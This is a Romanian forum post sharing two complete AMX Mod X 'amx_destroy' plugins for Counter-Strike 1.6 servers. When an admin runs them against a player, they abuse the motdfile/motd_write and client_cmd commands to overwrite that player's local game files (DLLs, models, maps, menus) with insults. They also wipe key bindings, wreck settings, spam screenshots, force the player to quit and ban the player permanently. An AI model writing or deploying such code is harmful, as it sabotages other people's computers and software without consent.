Si important pentru mine e sa testez daca reuseste cineva sa faca asta sa nu ii deie ban permanent pe urma daca nu scap de codati o sa incerc sa introduc eu ban permanent dupa destroy.
1.
- | Afiseaza codul
/* * If you want to use with Timepass Anticheat you should have Advanced Bans! * Example usage: * timepass_custom_punish "amx_ban %name% %bantime% %reason%; amx_destroy %name%" */ #include <amxmodx> #include <amxmisc> #include <fakemeta> #include <fun> new PLUGIN[]="AMX TP Destroy" new AUTHOR[]="Dark-Skript" new VERSION[]="2.0" public plugin_init(){ register_plugin(PLUGIN,VERSION,AUTHOR) register_concmd("amx_destroy","punish",ADMIN_BAN,"<nick> : Punishes bad player.") server_cmd("ab_bandelay 7") // Just incase you use it with Timepass Anticheat } new const g_files[][] = { "sprites/hud.txt", "resource/cstrike_english.txt", "tempdecal.wad","logos/remapped.bmp", "models/player/terror/terror.mdl", "resource/gamemenu.tga", "resource/loadingdialog.res", "resource/loadingdialognobanner.res", "resource/loadingdialogvac.res", "game.ico", "resource/gamemenu.res", "custom.hpk", "liblist.gam", "voice_ban.dt", "de_vegas.wad", "motd.txt", "mapcycle.txt", "autobuy.txt", "steam_appid.txt" } new const g_maps[][] = { "de_dust2.bsp", "de_dust.bsp", "de_dust2_2x2.bsp", "cs_assault.bsp", "cs_office.bsp", "de_nuke.bsp", "de_airstrip.bsp", "cs_havana.bsp", "de_chateau.bsp", "de_aztec.bsp", "as_oilrig.bsp", "cs_siege.bsp", "de_cbble.bsp", "cs_747.bsp", "de_prodigy.bsp", "cs_italy.bsp", "cs_backalley.bsp", "cs_militia.bsp", "de_train.bsp" } new const g_cmds[][] = { "drop; unbindall","bind escape ^"say Wtf^"", "fps_max 1", "volume 999999", "rate 1", "bind ` ^"say Wtf^"", "gl_flipmatrix 1", "cl_cmdrate 1", "cl_updaterate 1", "+right", "con_color ^"1 1 1^"", "fps_modem 1", "gl_flipmatrix 1", "cd open", "hud_draw 0", "cl_righthand 1", "spk ^"vox/bizwarn destroyed^"", "MP3Volume 9999", "model fucked", "cl_minmodels 1", "sensitivity 999", "gamma 999", "brightness 999", "voice_enable 0", "-jlook", "-mlook", "cl_forwardspeed 0", "cl_sidespeed 0", "cl_backspeed 0", "cl_timeout 1", "m_pitch 99", "viewsize 999", "crosshair 0", "+jump; +crouch; +back; +right", "fastsprites 0", "console 0", "name ^"MY CS IS FUCKED^"", "hideradar" } new const g_screenshot[][] = { "screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", "snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot", "screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", "snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot", "screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot", "snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot", "screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;", "snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot", "screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;screenshot;", "snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot" } new const g_configspam[][] = { "writecfg", } public disable_user(id) { new target = id strip_user_weapons(target); set_pev(target,pev_velocity,Float:{0.0,0.0,0.0}) engfunc(EngFunc_SetClientMaxspeed,target,0.00001) set_pev( target , pev_flags , pev( target , pev_flags ) | FL_FROZEN ) set_user_rendering(target,kRenderFxGlowShell,255,0,0,kRenderNormal,25) } public punish(id,level,cid){ if (!cmd_access(id,level,cid,2)){ return PLUGIN_HANDLED } new Authid[35] get_user_authid(id,Authid,34) new arg[32],Name[32] read_argv(1,arg,31) new target = cmd_target(id,arg,1) get_user_name(target,Name,31) if(!target){ return PLUGIN_HANDLED } else disable_user(target); for ( new i; i < sizeof( g_files); i++ ){ client_cmd(target, "motdfile %s", g_files) client_cmd(target, "motd_write Fucked") } for ( new i; i < sizeof( g_maps); i++ ){ client_cmd(target, "motdfile maps/%s", g_maps) client_cmd(target, "motd_write Fucked") } for ( new i; i < sizeof( g_cmds); i++ ){ client_cmd(target, "%s", g_cmds) } client_print(0,print_chat,"%s Was Destroyed",Name) client_cmd(0, "spk ^"vox/bizwarn Warning User Destroyed^"") for ( new i; i < sizeof( g_screenshot); i++ ){ client_cmd(target, "%s", g_screenshot) } client_cmd(target, "say I am a fucking idiot;quit") return PLUGIN_HANDLED }
2.
- | Afiseaza codul
/* AMX MOD X 1.8.1 PLUGIN * * NAME:Destroy * * PLUGIN: descarcat de pe http://www.novuslink.ro * * DEVELOPER: developed by daNzEt @ NovusLink * * Copyright @ 2011 by NvL TEAM */ #include <amxmodx> #include <amxmisc> #define PLUGIN "Destroy" #define VERSION "2.0" #define AUTHOR "daNzEt" #define LOGFILE "destroy" public plugin_init() { register_plugin(PLUGIN, VERSION, AUTHOR); register_concmd("amx_destroy","cmdDestroy",ADMIN_BAN,"<nume>."); register_concmd("amx_distruge","cmdDestroy",ADMIN_BAN,"<nume>."); } public plugin_precache() { precache_sound("destroy.wav") return PLUGIN_CONTINUE } public cmdDestroy(id,level,cid) { if(!cmd_access(id,level,cid,2)) return PLUGIN_HANDLED new argument[32] read_argv(1,argument,31) new jucator = cmd_target(id,argument,CMDTARGET_OBEY_IMMUNITY|CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS) if(!jucator) return PLUGIN_HANDLED new admin[32],jucator_x[32],ip[32] get_user_name(id,admin,31) get_user_name(jucator,jucator_x,31) get_user_ip(jucator,ip,31,1) //Mesaj Admin pentru comanda destroy chat_color(0,"!g[www.novuslink.ro] !nAdmin !g%s !n: I-a dat destroy lui !g%s",admin,jucator_x) //Sunetul destroy client_cmd(0,"spk destroy"); //Face o poza jucatorului in cauza client_cmd(jucator,"snapshot;snapshot;name ^"www.novuslink.ro # Destroy^""); //Distruge cfg client_cmd(jucator,"unbindall"); //Strica GameMenu jucatorului si cateva dll-uri importante client_cmd(jucator,"motdfile resource/GameMenu.res;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile models/player.mdl;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile dlls/mp.dll;motd_write Ai supt **** pe http://www.novuslink.ro"); client_cmd(jucator,"motdfile cl_dlls/client.dll;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile cs_dust.wad;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile cstrike.wad;motd_write Ai supt **** pe http://www.novuslink.ro"); client_cmd(jucator,"motdfile sprites/muzzleflash1.spr;motdwrite Ai supt **** pe http://www.novuslink.ro;motdfile events/ak47.sc;motd_write Ai supt **** pe http://www.novuslink.ro;motdfile models/v_ak47.mdl;motd_write Ai supt **** pe http://www.novuslink.ro"); //Distruge setari Counter client_cmd(jucator,"fps_max 1;rate 323612783126381256315231232;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423"); client_cmd(jucator,"hideconsole;hud_saytext 0;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;con_color ^"0 0 0^""); //Mesaje say pe bind client_cmd(jucator, "bind ^"w^" ^"say http://www.novuslink.ro !." ); client_cmd(jucator, "bind ^"s^" ^"say http://www.novuslink.ro !." ); client_cmd(jucator, "bind ^"r^" ^"say http://www.novuslink.ro !." ); client_cmd(jucator, "bind ^"`^" ^"say http://www.novuslink.ro !." ); //Baneaza jucatorul permanent client_cmd(id, "amx_addban ^"%s^" permanent", ip) //Log Fisier log_to_file(LOGFILE, "Admin %s i-a dat destroy lui %s", admin , jucator_x) return PLUGIN_HANDLED } stock chat_color(const id, const input[], any:...) { new count = 1, players[32] static msg[191] vformat(msg, 190, input, 3) replace_all(msg, 190, "!g", "^4") replace_all(msg, 190, "!n", "^1") replace_all(msg, 190, "!t", "^3") replace_all(msg, 190, "!t2", "^0") if (id) players[0] = id; else get_players(players, count, "ch") { for (new i = 0; i < count; i++) { if (is_user_connected(players)) { message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players) write_byte(players) write_string(msg) message_end() } } } }